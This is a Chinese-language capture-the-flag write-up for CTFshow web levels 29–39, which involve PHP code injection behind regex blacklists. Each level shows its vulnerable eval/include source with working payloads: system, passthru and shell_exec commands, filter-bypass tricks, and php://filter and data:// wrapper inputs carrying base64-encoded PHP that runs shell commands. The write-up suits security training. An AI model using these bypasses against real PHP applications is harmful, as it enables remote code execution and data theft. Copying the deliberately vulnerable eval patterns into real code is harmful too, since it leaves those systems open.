靶场RCECTFshow伪协议CTFshow-web-vip-RCE-29-39(黑名单绕过,伪协议)
28.7的博客web29-黑名单绕过
解法一:nl 命令
1 2
| nl命令可以用来读取文件内容,当输入nl时,终端会进入监听模式,此时输入文件名可以进行读取 但是直接输入nl好像不会放出文件内容,不知道是不是我的打开方式有问题
|
- echo
nl flag or echo nl f""lag

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
解法二:变形shell
- show_source(base64_decode(“ZmxhZy5waHA=”));
- echo
tac fla*;
- show_source(next(array_reverse(scandir(“.”))));
- echo%20exec(“cat%20f\lag.p\hp”);
一些有意思的思路
1. 创造参数执行RCE
我们可以注意到在源码中,if(!preg_match("/flag/i", $c))通过这样的方式对参数c的值进行Waf,那么我们此时传入的c=include$_GET[1],所以并不会触发waf,这意味着我们创建了一个新的参数,这个参数是没有waf的,那么我们可以做到几乎所有的shell,连接蚁剑等。
1
| ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
|
2. 利用cp命令将flag拷贝到别处
在CTF里面确实需要一些创新思路
1
| ?c=system("cp fl*g.php a.txt");
|
web 30-黑名单绕过
上面的解法2依旧可用,这里尝试替换system。
这里多了一些函数,禁掉了system 但是可以使用passthru或者shell_exec:
- passthru(“cat f\lag.p\hp”);
- echo shell_exec(“cat fl\ag*“);
- echo
nl fl''ag.p''hp;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
web31-黑名单绕过
同样多了一些函数以及空格禁用,但是无妨:
- eval($_GET[“1”]);&1=echo shell_exec(“tac flag.php”);
- c=passthru(“tac%09fla*”);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
web32-filter
文件包含:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
web 33-filter
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=?>=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
1
| PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7YzMxYTZhYzItY2ZhOS00MmY3LWI0MjUtMjZhYzExYTg2NjE1fSI7DQo=
|
web 34-filter
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
web 35-filter
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);
|
1
| PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDM6Mzc6MTENCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7ZmQ4NDZhMTAtMmQ3Mi00MjhlLWEyZjAtMmRkNGFlNmE0MjllfSI7
|
web 36-filter
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
1
| PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDM6Mzc6MTENCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7YTViMDY0NmMtYWY4NC00ZDEyLWE1Y2YtZmQyMDFhYTIxN2M1fSI7
|
web 37-data协议
- c=data://text/plain,
- c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
|
web 38-data协议
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
|
web 39-data协议
c=data://text/plain,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__); }
|